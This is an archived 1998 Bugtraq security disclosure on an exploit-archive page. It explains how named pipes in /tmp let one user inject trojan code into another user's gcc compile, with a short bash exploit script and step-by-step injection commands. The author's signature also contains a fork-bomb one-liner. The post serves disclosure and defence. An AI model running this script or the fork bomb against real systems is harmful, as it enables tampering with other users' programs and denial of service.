Named Pipe attack

Summary
Description:This is not really an "exploit" per se, but just a note about the possibility of exploiting programs that open files insecurely. The usual attack is something like ln -s /etc/passwd /tmp/prog.lock'. Solar Designer's excellent symlink kernel patch stops most of that nonsense. Here the attack uses named pipes to modify the data in the file and feed it back to the app.
Author:"[UNKNOWN-8BIT] Michał Zalewski" <lcamtuf@BOSS.STASZIC.WAW.PL>
Compromise:Exploit potential for some insecure file opens and reads (such as gcc 2.7.2)
Vulnerable Systems:general UNIX feature
Date:20 February 1998
Details


Date: Fri, 20 Feb 1998 16:17:27 +0100
From: "[UNKNOWN-8BIT] Michał Zalewski" <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: Pipe attacks

    [The following text is in the "iso-8859-2" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

[to Aleph One - "not-so-dangerous symlink bugs" has been written in
hurry, here's fixed version, sorry again :-]

"Symlink" background:

Typical "[symbolic|hard] link bug" is a vunerability, which allows
user X to overwrite files owned by Y (with useless portion of junk)
when Y launchs buggy program. But this trivial (and often ignored)
attack method can be easily turned into a cute, powerful weapon. Here's
an example how to perform advanced exploitation ("pipe attack") of gcc
symlink bug (I choosen that tool, because this problem is probably
well-known and it's pretty easy to fix). Original exploit code has been
posted here about 1 month ago...

"Pipe" impact:

First of all, we need to fix our exploit by replacing symlink with
named pipe. What for? Be patient:

#!/bin/bash
# Advanced GCC exploit
echo "Advanced GCC exploit running."
renice +20 $PPID >&/dev/null
cd /tmp
while :; do
  V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
  if [ ! "$V" = "" ]; then
    mkfifo ${V}.s
    chmod 666 ${V}.s
    bash
  fi
done

As you can see, new exploit is even smaller and quite useless :)
So why shouldn't we launch it...

$ ./adc-gcc
Advanced GCC exploit running.
[...]

Ok, it's running somewhere in a background... Now, other user (Y)
launchs gcc to compile something. His gcc hangs trying to write
compiled junk into a pipe created by exploit, and our exploit drops
us into a shell:

[...]
Advanced GCC exploit running.
$ ls
cca02091.i cca02091.s [...other stuff...]

Now, we may modify preprocessed cca02091.i file. I added line
'printf("Hello, dude.\n");' using vim at the begining of main
function, and finally saved modified code as "myjunk.i".
Our user probably grows impatient, so it's time to serve our
dish of the day... First, we should flush pipe:

$ cat cca02091.s >junk2.s

That's perfect, gcc wrote everything successfully, and now it's
trying to read it back from pipe. So why shouldn't we give him a
chance? I precompiled myjunk.i using cc1 (it's location may vary,
but it MUST be somewhere; you may locate it by executing
"ps auxhw|grep cc1" meantime).

Oh, I forgot. If you're unable to read cc*.i file, bacause user's
umask is set to eg. 077 - don't worry! You may modify asm code
directly. Just edit "junk2.s". After that, you don't have to use cc1.

Let's see, what we have here? A gcc compiler happily waiting for
compiled portion of asm stuff at the second end of pipe... And
compiled code, but modified a little... So there's only one solution:

$ cat myjunk.s >cca02091.s

(or "cat junk2.s >cca02091.s" if you changed asm code directly)

Kaboom! Gcc finished it work (hopefully everything went OK).
Now user have it's program, but with OUR trojan code! What
he does now? Launchs it, or...

$ make
$ su -
Password:
# make install

Whoops!

This exploit method may be enclosed in a simple, quick and automated
script, but this time I won't write it. I explained this attack even
too clearly - remember, it may be used to write real, alive, extremally
quickly spreading VIRUS, which infects every file which is beign
compiled.

Solutions:

How to protect yourself? In this case, it's quite simple, this
problem has been already discussed on BUGTRAQ. But that's just
an well-known example of 'not-so-interesting symlink bug'. Almost
any symlink-vunerable program, which stores any data (even PIDs)
in their temporary files, may be exploited in that way (eg. not
so easy to fix gzexe problem).

_______________________________________________________________________
Michał Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]